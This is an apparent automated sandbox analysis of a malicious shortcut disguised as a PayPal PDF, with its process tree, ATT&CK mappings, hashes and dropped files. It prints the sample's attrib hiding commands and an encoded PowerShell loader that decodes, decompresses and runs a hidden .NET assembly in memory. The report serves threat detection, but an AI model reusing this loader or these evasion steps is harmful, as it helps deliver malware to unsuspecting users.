d836c428fff004611172d1f2898e4624867c6d13528d4e41039c6fa40e403762

Analysis

max time kernel
210s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
27-03-2023 13:05

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General

Target

PayPal/PayPal.pdf.lnk
Size

1KB
MD5

107b9436dbcd42961940b6549d56bc30
SHA1

496b1651773af6e336850e27cbfea1ad43b14b40
SHA256

ebb82404cc0433ad70cef97ee13659e2af5094f83888d1e59f1469a13e742ff1
SHA512

e26da458afd812114741a1dada545949a2f12c071913c08fb403bb0ebf3e519f6e47bf9d6e84ef24162d51fabd433c40ee03834e8e7d0592a0ad72dee3079398

Score

8^/10

evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
560	attrib.exe
1648	attrib.exe

Executes dropped EXE 2 IoCs

pid	Process
1800	expe.bat.exe
1636	onbo.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1516	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

pid	Process
868	AcroRd32.exe
1800	expe.bat.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1636	onbo.bat.exe
1800	expe.bat.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	onbo.bat.exe
Token: SeDebugPrivilege	1800	expe.bat.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
868	AcroRd32.exe
868	AcroRd32.exe
868	AcroRd32.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 1948	1352	cmd.exe	29
PID 1352 wrote to memory of 1948	1352	cmd.exe	29
PID 1352 wrote to memory of 1948	1352	cmd.exe	29
PID 1948 wrote to memory of 568	1948	cmd.exe	30
PID 1948 wrote to memory of 568	1948	cmd.exe	30
PID 1948 wrote to memory of 568	1948	cmd.exe	30
PID 568 wrote to memory of 888	568	cmd.exe	31
PID 568 wrote to memory of 888	568	cmd.exe	31
PID 568 wrote to memory of 888	568	cmd.exe	31
PID 568 wrote to memory of 1516	568	cmd.exe	32
PID 568 wrote to memory of 1516	568	cmd.exe	32
PID 568 wrote to memory of 1516	568	cmd.exe	32
PID 888 wrote to memory of 560	888	cmd.exe	33
PID 888 wrote to memory of 560	888	cmd.exe	33
PID 888 wrote to memory of 560	888	cmd.exe	33
PID 1516 wrote to memory of 1648	1516	cmd.exe	34
PID 1516 wrote to memory of 1648	1516	cmd.exe	34
PID 1516 wrote to memory of 1648	1516	cmd.exe	34
PID 568 wrote to memory of 868	568	cmd.exe	35
PID 568 wrote to memory of 868	568	cmd.exe	35
PID 568 wrote to memory of 868	568	cmd.exe	35
PID 568 wrote to memory of 868	568	cmd.exe	35
PID 888 wrote to memory of 1800	888	cmd.exe	36
PID 888 wrote to memory of 1800	888	cmd.exe	36
PID 888 wrote to memory of 1800	888	cmd.exe	36
PID 888 wrote to memory of 1800	888	cmd.exe	36
PID 1516 wrote to memory of 1636	1516	cmd.exe	37
PID 1516 wrote to memory of 1636	1516	cmd.exe	37
PID 1516 wrote to memory of 1636	1516	cmd.exe	37
PID 1516 wrote to memory of 452	1516	cmd.exe	38
PID 1516 wrote to memory of 452	1516	cmd.exe	38
PID 1516 wrote to memory of 452	1516	cmd.exe	38
PID 888 wrote to memory of 1248	888	cmd.exe	39
PID 888 wrote to memory of 1248	888	cmd.exe	39
PID 888 wrote to memory of 1248	888	cmd.exe	39

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
452	attrib.exe
1248	attrib.exe
560	attrib.exe
1648	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PayPal\PayPal.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C start "" /B "%CD%\thumb\entry.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\entry.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\expe.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:888
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\expe.bat.exe
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:560
    - - C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\expe.bat.exe
        
        C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\expe.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
        5⤵
        Executes dropped EXE
        Suspicious behavior: CmdExeWriteProcessMemorySpam
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1800
    - - C:\Windows\system32\attrib.exe
        
        attrib -s -h C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\expe.bat.exe
        5⤵
        Views/modifies file attributes
        
        PID:1248
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\onbo.bat"
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1516
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\onbo.bat.exe
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1648
    - - C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\onbo.bat.exe
        
        C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\onbo.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgAKkAKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwCpACcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1636
    - - C:\Windows\system32\attrib.exe
        
        attrib -s -h C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\onbo.bat.exe
        5⤵
        Views/modifies file attributes
        
        PID:452
  - - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\terms.pdf"
      4⤵
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious use of SetWindowsHookEx
      PID:868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\expe.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\expe.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\onbo.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\onbo.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\PayPal\thumb\sou\onbo.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1636-123-0x0000000002280000-0x0000000002288000-memory.dmp

Filesize
32KB

Download
memory/1636-122-0x000000001AF70000-0x000000001B252000-memory.dmp

Filesize
2.9MB

Download
memory/1636-124-0x0000000001E10000-0x0000000001E90000-memory.dmp

Filesize
512KB

Download
memory/1636-125-0x0000000001E10000-0x0000000001E90000-memory.dmp

Filesize
512KB

Download
memory/1636-126-0x0000000001E10000-0x0000000001E90000-memory.dmp

Filesize
512KB

Download
memory/1800-127-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/1800-128-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download
memory/1800-129-0x0000000002640000-0x0000000002680000-memory.dmp

Filesize
256KB

Download